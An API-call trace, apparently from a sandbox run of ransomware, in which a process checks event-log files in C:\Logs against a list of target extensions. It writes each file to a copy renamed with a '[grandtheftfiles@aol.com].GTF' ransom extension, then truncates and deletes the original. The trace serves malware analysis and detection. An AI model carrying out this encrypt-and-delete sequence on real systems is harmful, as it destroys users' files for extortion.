	[0076.490] lstrlenW (lpString=".1cd") returned 4
	[0076.490] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.490] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.490] lstrlenW (lpString=".jpg") returned 4
	[0076.490] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.490] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.490] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57
	[0076.490] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.490] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0076.490] CloseHandle (hObject=0x33c) returned 1
	[0076.491] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20
	[0076.491] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.491] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.491] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.491] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.491] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0076.495] GetLastError () returned 0x0
	[0076.495] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.498] WriteFile (in: hFile=0x2d4, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.500] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.500] WriteFile (in: hFile=0x2d4, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x146, lpOverlapped=0x0) returned 1
	[0076.500] SetEndOfFile (hFile=0x2d4) returned 1
	[0076.501] CloseHandle (hObject=0x2d4) returned 1
	[0076.503] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.503] SetEndOfFile (hFile=0x33c) returned 1
	[0076.504] CloseHandle (hObject=0x33c) returned 1
	[0076.504] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.505] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1
	[0076.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.505] lstrlenW (lpString=".doc") returned 4
	[0076.505] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.505] lstrlenW (lpString=".docx") returned 5
	[0076.505] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.505] lstrlenW (lpString=".pdf") returned 4
	[0076.505] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.505] lstrlenW (lpString=".xls") returned 4
	[0076.505] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.505] lstrlenW (lpString=".xlsx") returned 5
	[0076.505] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.505] lstrlenW (lpString=".ppt") returned 4
	[0076.506] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.506] lstrlenW (lpString=".zip") returned 4
	[0076.506] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString=".rar") returned 4
	[0076.506] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString=".bz2") returned 4
	[0076.506] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString=".7z") returned 3
	[0076.506] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.506] lstrlenW (lpString=".dbf") returned 4
	[0076.506] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.506] lstrlenW (lpString=".1cd") returned 4
	[0076.506] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.506] lstrlenW (lpString=".jpg") returned 4
	[0076.506] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.506] lstrlenW (lpString=".doc") returned 4
	[0076.506] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString=".docx") returned 5
	[0076.506] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.506] lstrlenW (lpString=".pdf") returned 4
	[0076.506] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString=".xls") returned 4
	[0076.506] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString=".xlsx") returned 5
	[0076.506] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.506] lstrlenW (lpString=".ppt") returned 4
	[0076.506] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.506] lstrlenW (lpString=".zip") returned 4
	[0076.506] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.507] lstrlenW (lpString=".rar") returned 4
	[0076.507] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.507] lstrlenW (lpString=".bz2") returned 4
	[0076.507] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.507] lstrlenW (lpString=".7z") returned 3
	[0076.507] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.507] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.507] lstrlenW (lpString=".dbf") returned 4
	[0076.507] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.507] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.507] lstrlenW (lpString=".1cd") returned 4
	[0076.507] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.507] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65
	[0076.507] lstrlenW (lpString=".jpg") returned 4
	[0076.507] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.507] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.507] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56
	[0076.507] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.507] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0076.507] CloseHandle (hObject=0x33c) returned 1
	[0076.507] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20
	[0076.507] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.508] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.508] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.508] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.508] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0076.508] GetLastError () returned 0x0
	[0076.508] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.511] WriteFile (in: hFile=0x2d4, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.513] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.513] WriteFile (in: hFile=0x2d4, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x144, lpOverlapped=0x0) returned 1
	[0076.513] SetEndOfFile (hFile=0x2d4) returned 1
	[0076.513] CloseHandle (hObject=0x2d4) returned 1
	[0076.517] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.517] SetEndOfFile (hFile=0x33c) returned 1
	[0076.518] CloseHandle (hObject=0x33c) returned 1
	[0076.518] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.518] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1
	[0076.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.830] lstrlenW (lpString=".doc") returned 4
	[0076.830] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.830] lstrlenW (lpString=".docx") returned 5
	[0076.830] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.830] lstrlenW (lpString=".pdf") returned 4
	[0076.843] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.843] lstrlenW (lpString=".xls") returned 4
	[0076.843] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.843] lstrlenW (lpString=".xlsx") returned 5
	[0076.843] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.843] lstrlenW (lpString=".ppt") returned 4
	[0076.843] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.843] lstrlenW (lpString=".zip") returned 4
	[0076.843] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.843] lstrlenW (lpString=".rar") returned 4
	[0076.843] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.843] lstrlenW (lpString=".bz2") returned 4
	[0076.843] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.843] lstrlenW (lpString=".7z") returned 3
	[0076.844] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.848] lstrlenW (lpString=".dbf") returned 4
	[0076.848] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.848] lstrlenW (lpString=".1cd") returned 4
	[0076.848] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.848] lstrlenW (lpString=".jpg") returned 4
	[0076.848] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.852] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.852] lstrlenW (lpString=".doc") returned 4
	[0076.852] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.852] lstrlenW (lpString=".docx") returned 5
	[0076.852] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.852] lstrlenW (lpString=".pdf") returned 4
	[0076.852] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.852] lstrlenW (lpString=".xls") returned 4
	[0076.852] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.852] lstrlenW (lpString=".xlsx") returned 5
	[0076.864] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.864] lstrlenW (lpString=".ppt") returned 4
	[0076.864] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.864] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.864] lstrlenW (lpString=".zip") returned 4
	[0076.864] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.864] lstrlenW (lpString=".rar") returned 4
	[0076.864] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.864] lstrlenW (lpString=".bz2") returned 4
	[0076.864] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.864] lstrlenW (lpString=".7z") returned 3
	[0076.864] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.864] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.865] lstrlenW (lpString=".dbf") returned 4
	[0076.865] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.865] lstrlenW (lpString=".1cd") returned 4
	[0076.865] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64
	[0076.865] lstrlenW (lpString=".jpg") returned 4
	[0076.865] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.865] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.865] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55
	[0076.865] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.867] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=69632) returned 1
	[0076.867] CloseHandle (hObject=0x340) returned 1
	[0076.867] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20
	[0076.867] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.867] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.868] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.868] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.868] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0076.868] GetLastError () returned 0x0
	[0076.868] ReadFile (in: hFile=0x340, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.871] WriteFile (in: hFile=0x33c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.873] ReadFile (in: hFile=0x340, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.873] WriteFile (in: hFile=0x33c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x142, lpOverlapped=0x0) returned 1
	[0076.873] SetEndOfFile (hFile=0x33c) returned 1
	[0076.873] CloseHandle (hObject=0x33c) returned 1
	[0076.875] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.875] SetEndOfFile (hFile=0x340) returned 1
	[0076.877] CloseHandle (hObject=0x340) returned 1
	[0076.877] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.877] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1
	[0076.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.877] lstrlenW (lpString=".doc") returned 4
	[0076.877] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.877] lstrlenW (lpString=".docx") returned 5
	[0076.877] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.877] lstrlenW (lpString=".pdf") returned 4
	[0076.877] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.877] lstrlenW (lpString=".xls") returned 4
	[0076.877] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.877] lstrlenW (lpString=".xlsx") returned 5
	[0076.877] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.877] lstrlenW (lpString=".ppt") returned 4
	[0076.877] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.878] lstrlenW (lpString=".zip") returned 4
	[0076.878] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString=".rar") returned 4
	[0076.878] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString=".bz2") returned 4
	[0076.878] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString=".7z") returned 3
	[0076.878] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.878] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.878] lstrlenW (lpString=".dbf") returned 4
	[0076.878] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.878] lstrlenW (lpString=".1cd") returned 4
	[0076.878] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.878] lstrlenW (lpString=".jpg") returned 4
	[0076.878] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.878] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.878] lstrlenW (lpString=".doc") returned 4
	[0076.878] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString=".docx") returned 5
	[0076.878] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.878] lstrlenW (lpString=".pdf") returned 4
	[0076.878] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString=".xls") returned 4
	[0076.878] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString=".xlsx") returned 5
	[0076.878] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.878] lstrlenW (lpString=".ppt") returned 4
	[0076.878] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.878] lstrlenW (lpString=".zip") returned 4
	[0076.878] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.878] lstrlenW (lpString=".rar") returned 4
	[0076.879] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.879] lstrlenW (lpString=".bz2") returned 4
	[0076.879] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.879] lstrlenW (lpString=".7z") returned 3
	[0076.879] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.879] lstrlenW (lpString=".dbf") returned 4
	[0076.879] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.879] lstrlenW (lpString=".1cd") returned 4
	[0076.879] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63
	[0076.879] lstrlenW (lpString=".jpg") returned 4
	[0076.879] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.879] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0076.879] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49
	[0076.879] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
